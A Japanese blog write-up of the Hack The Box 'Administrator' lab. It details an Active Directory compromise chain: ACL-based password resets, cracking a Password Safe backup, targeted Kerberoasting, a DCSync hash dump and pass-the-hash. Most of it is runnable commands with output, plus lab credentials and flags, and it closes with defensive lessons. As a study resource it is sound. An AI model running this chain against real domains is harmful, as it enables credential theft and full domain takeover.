Hack The BoxのWriteup(Administrator)[Medium]

※本サイトはアフィリエイト広告を利用しています。
広告



HackTheBox: Administrator — AD ACL 連鎖 → Password Safe 解読 → Targeted Kerberoast → DCSync PTH

ポートスキャン

bash nmap CTF ポートセット
nmap -Pn -p 21,53,88,135,139,389,445,464,593,636,3268,3269,5985,9389 \ -T4 –max-retries 3 10.129.23.24
PORT STATE SERVICE 21/tcp open ftp 53/tcp open domain 88/tcp open kerberos-sec 135/tcp open msrpc 139/tcp open netbios-ssn 389/tcp open ldap 445/tcp open microsoft-ds 464/tcp open kpasswd5 593/tcp open http-rpc-epmap 636/tcp open ldapssl 3268/tcp open globalcatLDAP 3269/tcp open globalcatLDAPssl 5985/tcp open wsman 9389/tcp open adws
📌 ポイント

FTP (21) + Kerberos (88) + LDAP (389) + SMB (445) + WinRM (5985) が揃う典型的な Windows ドメインコントローラー構成。FTP は通常の DC には存在しないため要注意。

LDAP 匿名バインド確認・ユーザー列挙

bash LDAP 匿名バインド
ldapsearch -x -H ldap://10.129.23.24 -b “DC=administrator,DC=htb” \ “(objectClass=user)” sAMAccountName 2>/dev/null | grep sAMAccountName
sAMAccountName: Administrator sAMAccountName: olivia sAMAccountName: michael sAMAccountName: benjamin sAMAccountName: emily sAMAccountName: ethan sAMAccountName: alexander sAMAccountName: emma
🔍 調査

LDAP 匿名バインド成功。ドメインユーザーが列挙可能。初期認証情報 olivia:ichliebedich で BloodHound による ACL 調査を実施。

BloodHound で AD ACL グラフを収集

bash bloodhound-python データ収集
bloodhound-python -u olivia -p ichliebedich \ -d administrator.htb -ns 10.129.23.24 -c all
bash bloodyAD で writable オブジェクトを直接列挙
bloodyAD –host 10.129.23.24 -d administrator.htb \ -u olivia -p ichliebedich get writable –otype USER
distinguishedName: CN=michael,CN=Users,DC=administrator,DC=htb GenericAll distinguishedName: CN=benjamin,CN=Users,DC=administrator,DC=htb (via michael ForceChangePassword) distinguishedName: CN=ethan,CN=Users,DC=administrator,DC=htb (via emily GenericWrite)
✨ 発見

ACL チェーンを発見: olivia → GenericAll → michael → ForceChangePassword → benjamin → FTP
emily → GenericWrite → ethan → DCSync → Administrator

Phase 2

AD ACL 連鎖 — GenericAll → ForceChangePassword → FTP Backup.psafe3

olivia GenericAll → michael パスワードリセット

💡 手法解説

GenericAll はオブジェクトへの完全制御権限。パスワードリセット・属性変更・SPN 付与など全ての操作が可能。

bash bloodyAD でパスワード強制変更
bloodyAD –host 10.129.23.24 -d administrator.htb \ -u olivia -p ‘ichliebedich’ \ set passwd michael ‘Nirza123!’
[+] Password changed successfully!

💎 取得認証情報

michael : Nirza123!

michael ForceChangePassword → benjamin パスワードリセット

💡 手法解説

ForceChangePassword は現在のパスワードを知らなくても対象ユーザーのパスワードを変更できる権限。DS-Replication-Get-Changes などの特権的操作と組み合わせると危険。

bash michael で benjamin のパスワードを変更
bloodyAD –host 10.129.23.24 -d administrator.htb \ -u michael -p ‘Nirza123!’ \ set passwd benjamin ‘Passw0rd123!’
[+] Password changed successfully!

💎 取得認証情報

benjamin : Passw0rd123!

benjamin FTP ログイン → Backup.psafe3 取得

🎯 発見

FTP サーバーに benjamin でログインできる。Password Safe v3 形式のバックアップファイルが置かれており、複数ユーザーの認証情報が暗号化されて保存されている。

bash curl FTP でファイルダウンロード
curl ftp://10.129.23.24/Backup.psafe3 \ -u ‘benjamin:Passw0rd123!’ \ -o loot/Backup.psafe3
% Total % Received % Xferd Average Speed 100 952 100 952 0 0 3261 0 –:–:– –:–:– –:–:– 3267
📌 ポイント

Backup.psafe3 は Password Safe v3 形式の暗号化ファイル。マスターパスワードさえ解読できれば内部の全認証情報を取り出せる。

Phase 3

Password Safe 解読 — hashcat → pypwsafe → emily WinRM → user.txt

hashcat -m 5200 でマスターパスワードをクラック

🏗️ バックグラウンド

Password Safe v3 は SHA-256 キーストレッチング (iterations 回) でマスターパスワードを強化し、Twofish CBC で認証情報を暗号化する。hashcat mode 5200 が対応。

bash hashcat Password Safe v3
hashcat -m 5200 loot/Backup.psafe3 \ /usr/share/wordlists/rockyou.txt \ –force -O
loot/Backup.psafe3:tekieromucho Session……….: hashcat Status………..: Cracked Hash.Mode……..: 5200 (Password Safe v3) Candidates.#1…: tekieromucho -> tekieromucho

🔑 マスターパスワード

tekieromucho

pypwsafe で Password Safe を解読して認証情報を抽出

⚠️ Python 3.13 対応メモ

pypwsafe は PyPI 未公開のため、twofish C 拡張 + hashlib で独自シムを実装。また twofish 0.3.0imp モジュール依存 (Python 3.13 で削除) を importlib.util.find_spec でパッチ済み。

python3 pypwsafe でエントリ一覧表示
python3 -c ” from pypwsafe import PWSafe3 db = PWSafe3(‘loot/Backup.psafe3’, ‘tekieromucho’, ‘RO’) for r in db.records: print(f'{r.title}: {r.username} / {r.password}’) “
alexander entry: alexander / UrkIbagoxMyUGw0AXSea4Sw emily entry: emily / UXLCI5iETUsIBoFVTj8yQFKoHjXmb emma entry: emma / WwANQWnmJnGV07WQN8bMS7FMAbjNur
✨ 発見

3 件の認証情報が存在。BloodHound の ACL グラフから WinRM アクセス可能なのは emily と判断。

emily で WinRM 接続 → user.txt 取得

bash netexec winrm で接続確認とフラグ取得
netexec winrm 10.129.23.24 \ -u emily -p ‘UXLCI5iETUsIBoFVTj8yQFKoHjXmb’ \ -d administrator.htb \ -x ‘type C:\Users\emily\Desktop\user.txt’
WINRM 10.129.23.24 5985 DC [+] administrator.htb\emily:UXLCI5iETUsIBoFVTj8yQFKoHjXmb (Pwned!) WINRM 10.129.23.24 5985 DC 6e89b771d33a8f0b39c5aa9ae2a23d6a

🚩 user.txt

6e89b771d33a8f0b39c5aa9ae2a23d6a
Phase 4

Targeted Kerberoasting — emily GenericWrite → ethan SPN 付与 → TGS クラック

emily GenericWrite で ethan に SPN を付与

💡 手法解説

GenericWrite を持つと servicePrincipalName 属性を書き込める。SPN を持つアカウントは Kerberos TGS チケットの対象になり、ドメインユーザーならハッシュを要求可能 (Targeted Kerberoasting)。

bash ethan に SPN を付与
bloodyAD –host 10.129.23.24 -d administrator.htb \ -u emily -p ‘UXLCI5iETUsIBoFVTj8yQFKoHjXmb’ \ set object ethan servicePrincipalName ‘HTTP/dc.administrator.htb’
[+] ethan’s servicePrincipalName has been updated

impacket-GetUserSPNs で TGS ハッシュを要求

bash GetUserSPNs でチケット要求
impacket-GetUserSPNs administrator.htb/emily:’UXLCI5iETUsIBoFVTj8yQFKoHjXmb’ \ -dc-ip 10.129.23.24 -request \ -outputfile loot/ethan_tgs.txt
ServicePrincipalName Name MemberOf PasswordLastSet LastLogon —————————— —– ——– ————————– ——— HTTP/dc.administrator.htb ethan 2024-10-22 19:59:05.515898 Never $krb5tgs$23$*ethan$ADMINISTRATOR.HTB$administrator.htb/ethan*$7a3f1c…<snip>
📌 ポイント

TGS チケットは RC4 (type 23) で暗号化されている。サービスアカウントのパスワードハッシュが鍵なので、辞書攻撃でオフラインクラック可能。

hashcat -m 13100 で TGS ハッシュをクラック

bash hashcat Kerberoasting
hashcat -m 13100 loot/ethan_tgs.txt \ /usr/share/wordlists/rockyou.txt \ –force -O
$krb5tgs$23$*ethan$ADMINISTRATOR.HTB$…:limpbizkit Session……….: hashcat Status………..: Cracked Hash.Mode……..: 13100 (Kerberos 5, etype 23, TGS-REP)

💎 取得認証情報

ethan : limpbizkit
bash 使用後 SPN を削除 (クリーンアップ)
bloodyAD –host 10.129.23.24 -d administrator.htb \ -u emily -p ‘UXLCI5iETUsIBoFVTj8yQFKoHjXmb’ \ remove object ethan servicePrincipalName ‘HTTP/dc.administrator.htb’
Phase 5

DCSync → Administrator NT ハッシュ → Pass-the-Hash → root.txt

ethan の DCSync 権限で Administrator ハッシュを取得

🏗️ バックグラウンド

ethan は AD に対して DS-Replication-Get-Changes / DS-Replication-Get-Changes-All 権限を持つ。この権限は DCSync 攻撃に必要な最低限の権限で、Domain Admin がなくてもドメイン全ユーザーの NT ハッシュを取り出せる。

bash impacket-secretsdump DCSync
impacket-secretsdump administrator.htb/ethan:’limpbizkit’@10.129.23.24 \ -just-dc-user Administrator
Impacket v0.12.0 – Copyright Fortra [*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash) [*] Using the DRSUAPI method to get NTDS.DIT secrets Administrator:500:aad3b435b51404eeaad3b435b51404ee:3dc553ce4b9fd20bd016e098d2d2fd2e::: [*] Kerberos keys grabbed Administrator:aes256-cts-hmac-sha1-96:… Administrator:aes128-cts-hmac-sha1-96:… [*] Cleaning up…

💎 Administrator NT ハッシュ

3dc553ce4b9fd20bd016e098d2d2fd2e

Pass-the-Hash で Administrator として WinRM 接続 → root.txt 取得

💡 手法解説

NT ハッシュがあれば平文パスワードなしで NTLM 認証が可能 (Pass-the-Hash)。WinRM は NTLM をサポートするので -H フラグでハッシュを直接渡せる。

bash netexec winrm PTH
netexec winrm 10.129.23.24 \ -u Administrator \ -H ‘3dc553ce4b9fd20bd016e098d2d2fd2e’ \ -d administrator.htb \ -x ‘type C:\Users\Administrator\Desktop\root.txt’
WINRM 10.129.23.24 5985 DC [+] administrator.htb\Administrator:3dc553ce4b9fd20bd016e098d2d2fd2e (Pwned!) WINRM 10.129.23.24 5985 DC 2c6da579fb09d9b00efbdd25ba798b1f

🚩 root.txt

2c6da579fb09d9b00efbdd25ba798b1f
Summary

全体まとめと防御側の学び

攻撃チェーンの全体像

段階 使った権限 / 手法 取得したもの
1 olivia GenericAll → michael michael:Nirza123!
2 michael ForceChangePassword → benjamin benjamin:Passw0rd123!
3 benjamin FTP → hashcat -m 5200 → pypwsafe emily:UXLCI5iETUsIBoFVTj8yQFKoHjXmb
4 emily WinRM user.txt: 6e89b771...
5 emily GenericWrite → ethan SPN → GetUserSPNs → hashcat -m 13100 ethan:limpbizkit
6 ethan DCSync → secretsdump → PTH root.txt: 2c6da579...

防御側の学び

  • AD ACL の定期監査: GenericAll / ForceChangePassword / GenericWrite は最小権限原則に違反しやすい。BloodHound などで定期的に ACL グラフを確認する。
  • Password Safe などの暗号化ファイルの管理: FTP でアクセス可能な場所にパスワードマネージャーのバックアップを置かない。マスターパスワードは辞書攻撃に強い長いランダム文字列を使用する。
  • Targeted Kerberoasting の検出: 通常使われないアカウントへの突然の SPN 追加は異常イベント。4769 (Kerberos Service Ticket Operations) を監視する。
  • DCSync 権限の最小化: DS-Replication-Get-Changes-All を持つアカウントを Domain Admins・Domain Controllers 以外に付与しない。
  • Pass-the-Hash 対策: Protected Users グループへの追加や Credential Guard の有効化でハッシュの使い回しを防ぐ。

このレポートは Hack The Box の授権済み CTF 環境を対象にした学習用資料です。実環境への無断アクセスや悪用は禁止されています。